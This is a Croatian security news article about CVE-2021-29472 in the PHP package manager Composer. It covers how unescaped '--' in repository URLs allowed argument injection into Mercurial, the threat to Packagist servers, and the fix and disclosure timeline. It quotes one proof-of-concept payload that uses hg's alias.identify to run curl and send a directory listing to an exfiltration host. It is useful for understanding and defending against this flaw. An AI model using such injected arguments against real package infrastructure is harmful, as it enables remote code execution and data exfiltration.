U menadžeru ovisnosti Composer otkriven je kritični sigurnosni propust (CVE-2021-29472) koji omogućava izvršavanje proizvoljnih naredbi u sustavu prilikom obrade paketa s posebno oblikovanom vrijednošću URL-a koja određuje adresu za preuzimanje izvornih kodova. Problem se manifestira u komponentama GitDriver, SvnDriver i HgDriver, koje se koriste pri radu s sustavima za upravljanje izvorom Git, Subversion i Mercurial. Propust je ispravljen u izdanjima Composer 1.10.22 i 2.0.13.
Posebno se ističe da je problem uglavnom pogodio po defaultu korišteni repozitorij paketa u Composeru, Packagist, koji ima 306 tisuća paketa za programere na jeziku PHP i mjesečno obrađuje više od 1,4 milijarde preuzimanja. Tijekom eksperimenta pokazano je da bi, u slučaju svjesnosti o problemu, napadači mogli preuzeti kontrolu nad infrastrukturom Packagista i presresti vjerodajnice suradnika ili preusmjeriti preuzimanje paketa na vanjski server, organizirajući dostavu varijanti paketa s zloćudnim izmjenama za uvođenje backdoora tijekom instalacije ovisnosti.
Opasnost za krajnje korisnike ograničena je time što sadržaj composer.json obično definira sam korisnik, a linkovi na izvorne kodove se proslijede kada se obratite vanjskim repozitorijima, obično pouzdanim. Glavni udarac bio je usmjeren na repozitorij Packagist.org i uslugu Private Packagist, koje pozivaju Composer s prijenosom podataka prikupljenih od korisnika. Napadači su mogli izvršiti svoj kod na serverima Packagista postavljajući posebno oblikovan paket.
Tim Packagist ispravio je propust unutar 12 sati nakon što je zaprimljen izvještaj o ranjivosti. Istražitelji su privatno obavijestili programere Packagista 22. travnja, a u istoj je dan problem ispravljen. Javno ažuriranje Composera s ispravkom ranjivosti objavljeno je 27. travnja, a detalji su otkriveni 28. travnja. Revizija logova na serverima Packagista nije pokazala sumnjivu aktivnost povezana s ranjivošću.
Problem je uzrokovan greškom u kodu za provjeru ispravnosti URL-a u glavnoj datoteci composer.json i poveznicama za preuzimanje izvornog koda. Greška je prisutna u kodu od studenog 2011. godine. U Packagistu se za organizaciju preuzimanja koda bez vezivanja za određeni sustav upravljanja izvorom koriste posebni slojevi koji se izvršavaju pomoću poziva „fromShellCommandline” s prijenosom argumenata naredbenog retka. Na primjer, za git se poziva naredba „git ls-remote —heads $URL”, gdje je URL obrađen pomoću metode „ProcessExecutor::escape($url)”, koja escapira potencijalno opasne konstrukcije kao što su „$(…)” ili „`…`”.
Suština problema je što metoda ProcessExecutor::escape nije escapirala sekvencu „—“, što je omogućilo navođenje bilo kojeg dodatnog parametra u URL-u. Takvo escapiranje nije postojalo u drajverima GitDriver.php, SvnDriver.php i HgDriver.php. Napadu kroz GitDriver.php spriječila je činjenica da naredba „git ls-remote” nije podržavala navođenje dodatnih argumenata nakon putanje. Mogući napad na HgDriver.php mogao je biti ostvaren kroz prijenos parametra „—config” alatu „hq”, koji omogućava izvršavanje bilo koje naredbe manipulacijom s postavkom „alias.identify”. Na primjer, za preuzimanje i izvršenje koda putem pokretanja alata curl moglo se navesti: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Postavljanjem testnog paketa s takvim URL-om na Packagist, istraživači su se uvjerili da je nakon postavljanja na njihov poslužitelj stigao HTTP zahtjev s jednog od poslužitelja Packagista u AWS-u, koji sadrži popis datoteka u trenutnom katalogu.
Izvor: opennet.ru
